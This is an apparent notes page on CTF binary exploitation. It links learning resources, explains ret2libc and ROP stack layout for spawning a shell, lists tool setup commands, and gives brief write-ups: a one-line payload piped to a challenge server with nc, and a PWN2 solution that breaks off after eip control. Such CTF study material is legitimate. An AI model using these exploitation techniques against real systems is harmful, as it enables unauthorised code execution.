PWN

Updated over time~ website, doc and video https://ctf-wiki.github.io/ctf-wiki LiveOverflow youtube channel https://www.youtube.com/channel/UClcE-kVhqyiHCcjYwcpfj9w http://liveoverflow.com/binary_hacking/protostar/index.html Heap techniques summary https://github.com/shellphish/how2heap A series of slides by a Japanese competitor http://www.slideshare.net/bata_24/presentations 杨坤：掘金CTF ——CTF中的内存漏洞利用技巧 http://netsec.ccert.edu.cn/wp-content/uploads/2015/10/2015-1029-yangkun-Gold-Mining-CTF.pdf Modern Binary Exploitation by RPISEC http://security.cs.rpi.edu/courses/binexp-spring2015/ https://github.com/RPISEC/MBE https://raintrees.net/projects/a-painter-and-a-black-cat/wiki/CTF_Pwn exploit techniques compiled by inaz2 http://inaz2.hatenablog.com/archive/category/Exploit?page=1 http://inaz2.hatenablog.com/archive/category/Exploit?page=2 http://j00ru.vexillium.org/blog/24_03_15/dragons_ctf.pdf https://github.com/str4tan/pwning Heap: https://github.com/cloudburst/libheap https://github.com/DhavalKapil/libdheap https://github.com/degrigis/Heapy https://github.com/shellphish/how2heap wargame and ctf https://pwnable.tw/ http://pwnable.kr/ https://bamboofox.cs.nctu.edu.tw/ http://overthewire.org/wargames/ https://w3challs.com/ https://exploit-exercises.com/nebula/ http://ctf.katsudon.org/ http://ctf.katsudon.org/ctf4u/ tools debug ...

Some notes. Tools for finding gadgets rp++ ROPgadget Ret2libc When the program has NX enabled, shellcode on the stack can’t execute; you can use ret2libc, or use ROP to call mprotect and open an rwx segment. Passing arguments x86 via the stack x86_64 via registers Ret2libc stack layout Stack the arguments as completely as possible to avoid annoying issues. The usual x86 layout is: padding + function + ret address + argv1 + argv2 + argv3 .... The function can usually jump straight to .plt; the ret address is where you want to go after it finishes. If you’re just building system("/bin/sh"), the ret address can be left blank. ...

ub 14.04 x64 i32 lib apt-get install gcc-multilib cd /etc/apt/sources.list.d echo "deb http://old-releases.ubuntu.com/ubuntu/ raring main restricted universe multiverse" >ia32-libs-raring.list apt-get update apt-get install ia32-libs dpkg --add-architecture i386 apt-get update apt-get install libssl-dev:i386 PEDA apt-get install nasm micro-inetd apt-get install libc6-dbg https://github.com/longld/peda qira https://github.com/BinaryAnalysisPlatform/qira pwntools Includes checksec and ROPgadget tools sudo pip install git+https://github.com/Gallopsled/pwntools#egg=pwntools fix bug cp /usr/local/lib/python2.7/dist-packages/usr/lib/python2.7/dist-packages/capstone/libcapstone.so /usr/local/lib/python2.7/dist-packages/capstone/. rp++ https://github.com/0vercl0k/rp/downloads ncat sudo apt-get install netcat-traditional netcat-openbsd nmap

A quick write-up. PWN1 Throw it into IDA and you can see: if ( v4 == 0x90909090 ) result = puts(aCensordCensord); else result = printf("Your point is only %d, try hard!\n", v4, v1, v2, v3); return result; Just stuff it with 0x90 and you’re done: python -c 'print "\x90"*1000' | nc 52.69.163.194 1111 PWN2 After locating byte 20 you can control eip: gdb-peda$ info functions All defined functions: Non-debugging symbols: 0x08048364 _init 0x080483a0 read@plt You can point it at read; generally it looks like this: ...